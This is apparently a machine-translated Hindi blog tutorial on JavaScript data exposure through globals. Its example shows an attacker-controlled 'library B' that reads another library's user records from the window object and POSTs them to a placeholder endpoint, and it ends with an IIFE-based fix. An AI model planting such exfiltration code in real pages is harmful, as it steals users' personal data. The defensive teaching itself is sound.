वैश्विक जोखिम को कम करके जावास्क्रिप्ट में सुरक्षा उल्लंघनों को कम करना

May 02 2023

आइए इस लेख की शुरुआत एक साधारण परिदृश्य से करें। मान लीजिए कि एक वेबसाइट उदाहरण है।

आइए इस लेख की शुरुआत एक साधारण परिदृश्य से करें। मान लें कि एक वेबसाइट example.com है, और यह वेबसाइट दो लाइब्रेरी ए और बी का उपयोग करती है। लाइब्रेरी ए कुछ संवेदनशील डेटा के साथ काम कर रही है, और यह अत्यंत महत्वपूर्ण है कि किसी को भी इस तक अनधिकृत पहुंच नहीं रखनी चाहिए। अब मान लेते हैं कि example.com बहुत लोकप्रिय है और ईव ने साइट का विश्लेषण किया और देखा कि साइट लाइब्रेरी ए और बी का उपयोग कर रही है। उसने लाइब्रेरी ए का विश्लेषण किया और सुरक्षा उल्लंघन पाया, जो डेटा के वैश्विक जोखिम के कारण हुआ था (हम करेंगे इस विषय पर नीचे विस्तार से चर्चा करें)। अब ईव ने सोचा है कि वह लाइब्रेरी ए तक कैसे पहुंच सकती है ताकि वह अपना डेटा खींच सके और एक योजना तैयार की जिसका लक्ष्य लाइब्रेरी बी तक पहुंच प्राप्त करना था (आइए मान लें कि ईव के लिए लाइब्रेरी बी के स्रोत कोड तक पहुंचना और बदलना आसान है it) और लाइब्रेरी B के माध्यम से लाइब्रेरी A की सामग्री तक पहुँचें।

अब आइए चर्चा करें कि हव्वा ऐसा कैसे कर सकती है। example.com का सोर्स कोड इस तरह दिखता है:

<!DOCTYPE html>
<html>
  <head>
    <title>example.com</title>
  </head>
  <body>
    <script src="./library-a.js"></script>
    <script src="./example-com.js"></script>
    <script src="./library-b.js"></script>
  </body>
</html>

पुस्तकालय ए
example.com की स्क्रिप्ट
लाइब्रेरी बी.

// library-a.js

class LibraryA {
  /**
   * @publicApi
   */
  init() {
    this.users = this.getUsers()
  }

  /**
   * @privateApi
   */
  getUsers() {
    // Let's assume that this data is fetched from the server.
    return [
      {
        firstName: 'John',
        lastName: 'Doe',
        email: '[email protected]',
        personalID: '000001'
      },
      {
        firstName: 'Jane',
        lastName: 'Doe',
        email: '[email protected]',
        personalID: '000002'
      }
    ]
  }
}

window.libraryA = new LibraryA()

// example-com.js

window.libraryA.init()

// library-b.js

class LibraryB {
  constructor() {
    this.sendDataToEve()
  }

  sendDataToEve() {
    // Eve's endpoint
    fetch('https://0123456789.com', {
      method: 'POST',
      body: JSON.stringify({ users: window.libraryA.users })
    })
  }
}

window.libraryB = new LibraryB()

इस भेद्यता को ठीक करने के लिए, हम IIFE (तत्काल इनवोक्ड फंक्शन एक्सप्रेशन) फ़ंक्शन का उपयोग कर सकते हैं और केवल सार्वजनिक API पद्धति को initनिम्न तरीके से उजागर कर सकते हैं:

// library-a.js

window.libraryA = (() => {
  class LibraryA {
    /**
     * @publicApi
     */
    init() {
      this.users = this.getUsers()
    }

    /**
     * @privateApi
     */
    getUsers() {
      // Let's assume that this data is fetched from the server.
      return [
        {
          firstName: 'John',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000001'
        },
        {
          firstName: 'Jane',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000002'
        }
      ]
    }
  }

  const _libraryA = new LibraryA()

  return {
    init: _libraryA.init.bind(_libraryA)
  }
})()

इस लेख को पढ़ने के लिए धन्यवाद, मुझे आशा है कि आपको यह अच्छा लगा होगा। आप मुझे ट्विटर पर फॉलो कर सकते हैं ।